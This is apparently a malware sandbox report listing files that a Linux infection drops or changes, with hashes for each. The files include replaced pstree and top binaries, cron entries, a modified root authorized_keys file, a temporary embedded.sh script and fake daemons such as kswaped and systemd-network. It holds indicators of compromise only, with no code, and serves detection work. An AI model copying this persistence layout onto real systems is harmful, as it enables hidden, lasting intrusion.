- Path /bin/pstree
- Size 56B
- SHA256 b6eec955fd5b0e9ddf43ef55b7fe74075cc1a935ab896d5cd0a55429ef0d6d25
- MD5 896f6d504f181bd883a90b84069bcf70
- SHA1 86fd682d1932d9e14461796e5f0fe776b8ce9d5c
- SHA512 1f705ceead76868a79abb7ea42efad35e37b95421bfc81ce4540e4beeb7cbc0ccadfaae85794b6945c93304da9948d9d63504f9377ca3e92b874cc3f691d3c1a
- TLSH T1B090028D452CAD101A544D12A3712E95C08428348B4397415468028B4152192313009E
- MD5 SHA1 SHA512 TLSH
- Path /bin/top
- Size 53B
- SHA256 561941bdd6305a389e688a1214acd9163478301738158f13349ea403dfae300c
- MD5 6956a4d6a2444151c11a73517215cb34
- SHA1 b279ad496f640f44418aa7e5e27a4d458bddb7fb
- SHA512 ee1a27243159cf9aa99ed0ff79ae1f6d66c698f668e0c233544f1a79aab5bb8ca6edb051d907aef8b50ff85f39aa41b21e951476c3a53b6a85a7a06adc28ed8d
- TLSH T11990028D05189D101A548A11A3716E99908514248987AB815069018A4141193356015E
- MD5 SHA1 SHA512 TLSH
- Path /etc/cron.d/zzh
- Size 53B
- SHA256 ff1d557b85a902fbe4d2d0b0f3e79307f1f7e6dc36c537a824e920c5e8ece2de
- MD5 3a615a3d1952b1e2c0cb584bd253f7f9
- SHA1 79465a5e611f19f140f169ac5bc3a9ab382696ef
- SHA512 8819cd4ef33fe59b8618ac7a2f116169b2effeb87f2353b674ef08c8297dbbda75112c5dd882c60b05c9cedeab0aa3dd79e06923b2a2db0cad8a3ec2b6c5532e
- TLSH T1889002B6541558466804AD289604406E084355A111953A426DCD4490461C30F0517661
- MD5 SHA1 SHA512 TLSH
- Path /etc/crontab
- Size 50B
- SHA256 e15357c9d6df46a6b43036e8f646311f88019e587b8d55a8aecfa438cd971545
- MD5 b2ecca8d419b5c3fa2ee7621efa75eb7
- SHA1 3adc58bd314dea94eebfd1582ffc8bbbb5cfb34e
- SHA512 c6a7d05b7f615de3946055be8a4995c0fb8c670fe53c8a8dcba98f32c2ec4cb92a93524aebaca97c9b6e8696b71bdc2114d6ec303bff4ec288745bae15522e69
- TLSH T19B9002B6541548466804EC189605605E0843956100553A426ECD4490461830E0116621
- MD5 SHA1 SHA512 TLSH
- Path /etc/zzhs
- Size 9B
- SHA256 7e3735835710cbbb54a0bee4a323c83c54cb1f4f60463b9cf88006946fe2b9a5
- MD5 970d39f8690eff0fe573e7bcf51bda9b
- SHA1 46f8f835d3d3d41f063d0e8346260bb622b01a3f
- SHA512 24952be3e8e47ffb4ee83d55f513edf041f6c4e420e2f52bdbdf0daee4c5735ad3ee5ed863f95ffa931a70d551590a7fe6ae67dc22f32060793e2525e4b56cd0
- MD5 SHA1 SHA512
- Path /etc/zzhs
- Size 2B
- SHA256 4355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
- MD5 b026324c6904b2a9cb4b88d6d61c81d1
- SHA1 e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
- SHA512 3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
- MD5 SHA1 SHA512
- Path /root/.ssh/authorized_keys
- Size 1B
- SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
- MD5 68b329da9893e34099c7d8ad5cb9c940
- SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
- SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
- MD5 SHA1 SHA512
- Path /root/.ssh/authorized_keys
- Size 557B
- SHA256 cfc3a74939edac785d66664757b3c877a7e5f4fae29b3a5bdf8b55e79573dfb5
- MD5 12bf68ad9999dcbc8bd1d9a728d600aa
- SHA1 7f302d2df5e075f879586cb0ab1dcc0b0870cc98
- SHA512 ef6a8c50fd411622eefae30bfcc962368f355ec897b0136b2290784344ce735c3b3d51feda679e3c42ab524197d6515f1f8699e17598171a1b888b0fbe5229e7
- TLSH T1D7F0412660AB00C72912188CD3308E3638CE05F2B4E4050A5414A142D2B549AC6E62FC
- MD5 SHA1 SHA512 TLSH
- Path /tmp/tmp.vWkVN2YHn8/embedded.sh
- Size 46KB
- SHA256 e81282e300ea08bcbc690ec1b403295f570a2a07888e0025c1b937f1d0c4eb1a
- MD5 0cec4bedba50d029b5f3f8923123b2da
- SHA1 64e902ab0ff54809d89d685ac195ce0b7cdcf397
- SHA512 f47841afd973ed61a1dfca1d5a4eb1b3aae02ab6dc5da51751764ed76c2dc7af17430672c1f9b3bb67edc42e8fc110f50785808935b59f08fbb1159efa9b73b7
- SSDEEP 768:xxlT2wDuWvWi7vFNcuFkc2zq0x3UKnicZuiR/amT8p:G6F+Lc2/FicfSmT8p
- TLSH T17123AB5D9071ECB13C64CC66D9A17218B4ADE09AC5F3BB88BD2D3E3C5B64005F9B11AE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /usr/bin/irqbalanced
- Size 2B
- SHA256 1121cfccd5913f0a63fec40a6ffd44ea64f9dc135c66634ba001d10bcf4302a2
- MD5 6d7fce9fee471194aa8b5b6e47267f03
- SHA1 a3db5c13ff90a36963278c6a39e4ee3c22e2a436
- SHA512 2b59d179d9815994f687383a886ea34109889756efca5ab27318cc67ce2a21261d12fa6fee6b8c716f72214ead55ee0d789d6c35cff977d40ef5728ba9188a80
- MD5 SHA1 SHA512
- Path /usr/bin/kswaped
- Size 2B
- SHA256 53c234e5e8472b6ac51c1ae1cab3fe06fad053beb8ebfd8977b010655bfdd3c3
- MD5 26ab0db90d72e28ad0ba1e22ee510510
- SHA1 7448d8798a4380162d4b56f9b452e2f6f9e24e7a
- SHA512 63e22ec2fbeebabf005e58fbfb0eee607c4aa417045a68a0cc63767b048e3559268d35e72f367d3b2dbd5dbddf12fc4397762ba149260b3795a0391713bddcd7
- MD5 SHA1 SHA512
- Path /usr/bin/pamdicks
- Size 2B
- SHA256 06e9d52c1720fca412803e3b07c4b228ff113e303f4c7ab94665319d832bbfb7
- MD5 9ae0ea9e3c9c6e1b9b6252c8395efdc1
- SHA1 ccf271b7830882da1791852baeca1737fcbe4b90
- SHA512 f3d08a4bfef201adbe711e8805f96ff13909719107dcac81f4fc9185040d59d8d573344a0707e697f8b4f0212e0d79f3bdd6b86688dd8c54019b9d93c937f3ca
- MD5 SHA1 SHA512
- Path /usr/bin/rctlcli
- Size 2B
- SHA256 7de1555df0c2700329e815b93b32c571c3ea54dc967b89e81ab73b9972b72d1d
- MD5 48a24b70a0b376535542b996af517398
- SHA1 9c6b057a2b9d96a4067a749ee3b3b0158d390cf1
- SHA512 db545c410fd0c8ede533d5b0666cd2798ba380bd25b655619cd5fd3a33a255569b3ccc319bfdef3322d8392d894d15c2e6aa2d53346e6ac54eaf5d627bfe6a9a
- MD5 SHA1 SHA512
- Path /usr/bin/systemd-network
- Size 2B
- SHA256 f0b5c2c2211c8d67ed15e75e656c7862d086e9245420892a7de62cd9ec582a06
- MD5 1dcca23355272056f04fe8bf20edfce0
- SHA1 5d9474c0309b7ca09a182d888f73b37a8fe1362c
- SHA512 29b3573989378848e91465abb8bb12aaad1c40f01ddba6ce5dce4de88d61d49621cd4272bc6f889cd469e9490040b412eb0a237cf2cd49c637da1d5de5903f3d
- MD5 SHA1 SHA512